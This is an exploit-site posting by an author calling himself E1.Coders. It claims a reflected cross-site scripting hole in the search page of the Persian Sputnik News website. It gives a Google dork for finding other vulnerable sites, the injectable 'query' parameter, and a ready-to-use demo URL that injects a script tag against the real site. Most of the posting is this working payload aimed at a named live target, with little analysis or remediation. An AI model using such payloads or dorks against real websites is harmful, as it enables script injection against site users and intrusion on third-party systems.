################################################## ################################################## #####################
# #
# Exploit Title : Sputnik News Russian government has XSS vulnerabilities #
# #
# Author : E1.Coders #
# #
# Contact : E1.Coders [at] Mail [dot] RU #
# #
# Portal Link : sputniknews.com (https://ir.sputniknews.com) #
# #
# Tested ON : Persian language version Host #
# #
# Security Risk : ~[LOW]~ #
# #
# Description : Description: All websites with this version used can be targeted  #
# #
# DorK : "intext:"search/?query="" #
# #
# #
# #
################################################## ################################################## #####################




Details :




the vulnerable file is "search"




XSS Expl0iTs :


https://ir.sputniknews.com/search/?query=XSS Codes






Dem0 :

https://ir.sputniknews.com/search/?query=%3Cscript%3Ealert(%22HACKED%22)%3C/script%3E

Copyright ©2023 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.